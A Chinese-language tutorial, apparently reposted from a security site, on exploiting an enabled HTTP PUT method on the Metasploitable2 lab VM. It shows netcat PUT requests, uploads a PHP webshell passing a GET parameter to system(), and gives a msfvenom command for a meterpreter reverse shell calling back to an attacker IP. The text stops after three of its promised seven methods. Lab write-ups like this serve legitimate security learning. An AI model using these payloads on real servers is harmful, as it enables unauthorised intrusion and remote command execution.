HTTP PUT方法利用的幾種方式
HTTP PUT方法利用
在本文中,我們將會利用metasploitable2靶機上的HTTP PUT漏洞。通過此漏洞你可以輕而易舉的向伺服器上傳惡意文件,並可以在meterpreter shell中獲得整個伺服器的訪問許可權。
上一篇文章我們講過了如何使用Curl,Nmap和OpenSSL來測試HTTP方法。如果伺服器啟用了HTTP PUT方法,我們就可以利用它來上傳指定的資源到目標伺服器上,比如webshell或者惡意軟體。
基本要求
·Metasploitable2 vm虛擬機--https://sourceforge.net/projects/metasploitable/files/Metasploitable2/
·攻擊者kali VM虛擬機--https://www.kali.org/downloads/
·漏洞路徑--http://192.168.179.142/dav/
·攻擊者IP--192.168.179.141
HEAD,GET,POST,CONNECT,這些方法是完全安全的,至少就HTTP方法本身而言是安全的。當然了,雖然請求本身可能也會有惡意參數,但參數跟方法是分離的,所以通常而言只應該啟用這些方法。
PUT,DELETE這些方法最初是用來進行文件管理的。然而一些web伺服器保留了最初的配置,依然支持這些方法。如此一來,你就可以任意修改或刪除伺服器文件系統中的文件了。
顯然,如果啟用了這些方法,你就容易遭到文件上傳漏洞的攻擊。
另外,如果你有業務需求必須啟用這些方法,那麼應該嚴格限制文件訪問許可權。
OPTIONS方法,這是一個判斷方法,返回消息主要用於調試或者檢查伺服器其他方法是否啟用。
TRACE方法,這個方法比較出乎意料,它是響應體中返回的判斷方法,即整個HTTP請求。這包括請求體,也包括請求頭,比如cookies和認證頭等。
進入正題
識別HTTP伺服器最簡單最基本的形式就是查看HTTP響應頭中色server欄位。可以使用Netcat客戶端發送HTTP請求來獲取伺服器的HTTP響應頭。
Netcat絕對是一個神器,只要是有關TCP和UDP的都能使用Netcat。它可以打開TCP連接,發送UDP數據包,監聽任意的TCP和UDP埠,進行埠掃描等。
在Debain系統上安裝Netcat的命令是 「sudo apt-get install netcat」
使用Netcat來檢測web伺服器上啟用了哪些方法,只要輸入如下命令即可:
nc 192.168.179.142 80
OPTIONS /dav/ HTTP/1.1
Host: 192.168.179.142
按兩次回車!
觀察一下響應頭欄位可以發現啟用了一些危險的方法,比如DELETE,TRACE,PROPFING,COPY,MOVE,LOCK和UNLOCK。
下面我們就來演示一下利用HTTP PUT方法的7種方法。
1.Netcat利用PUT方法
使用Netcat方法十分簡單,輸入下面幾條命令即可:
nc 192.168.179.142 80
PUT /dav/hacked.txt HTTP/1.1
Host: 192.168.179.142
按兩次回車!
可以看到hacked.txt文件已經成功創建,狀態碼是201,文件創建位置為/dav/目錄。
2.BurpSuite利用PUT方法
眾所周知,Burp是一款代理攔截神器,通過抓包,可以分析所有的GET和POST請求。
Burp是專門用來測試web應用的圖形化工具。它是使用Java編寫的,由PortSwigger安全團隊開發。
Burp工具的功能模塊包括Proxy,Scanner,Intruder,Spider,Repeater,Decoder,Comparer,Extender和Sequencer。
首先設置瀏覽器代理,訪問http://192.168.179.142/dav/,抓包攔截請求,然後右擊選擇發送到Repeater模塊。
查看下面的截圖,你會發現左右連個面板,左邊是請求,右邊是響應。
現在我們來替換GET方法為PUT方法,上傳一個yeahhub.php文件,文件里包含的是惡意內容或代碼。
在請求頭中輸入PUT /dav/yeahhub.php HTTP/1.1,這將會通過PUT請求上傳yeahhub.php文件到dav目錄下。
然後在請求體中粘貼一下惡意代碼。
system($_GET[『cmd』]);
?>
在上面的截圖中,可以看到響應狀態碼是201,這就意味著包含惡意代碼的yeahhub.php文件已經成功上傳。
驗證一下,在瀏覽器地址欄中輸入http://192.168.179.142/dav/yeahhub.php?cmd=uname-a,就能看到系統的內核版本。
Nikto掃描HTTP方法
Nikto是另一個開源的web掃描器,它可以對web伺服器進行全面測試,包括6700個潛在的危險文件和程序,檢查超過1250台伺服器的過期版本和270台以上伺服器版本的特定問題。
使用nikto掃描,只需在終端中輸入「nikto -h http://192.168.179.142/dav/」
可以看到,高亮部分顯示了多種HTTP方法是啟用的。
3.Cadaver和Metasploit框架利用PUT方法
現在是時候上傳惡意PHP文件來攻擊伺服器了,惡意文件我們將藉助msfvenom命令來生成。
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.179.141 LPORT=4444 -f raw > shell.php
可以看到惡意文件shell.php已經上傳到伺服器當前工作目錄了。
※Android銀行木馬——Red Alert 2.0偽裝成合法程序進行傳播
※使用超長文件名讓Windows API崩潰
TAG:嘶吼RoarTalk |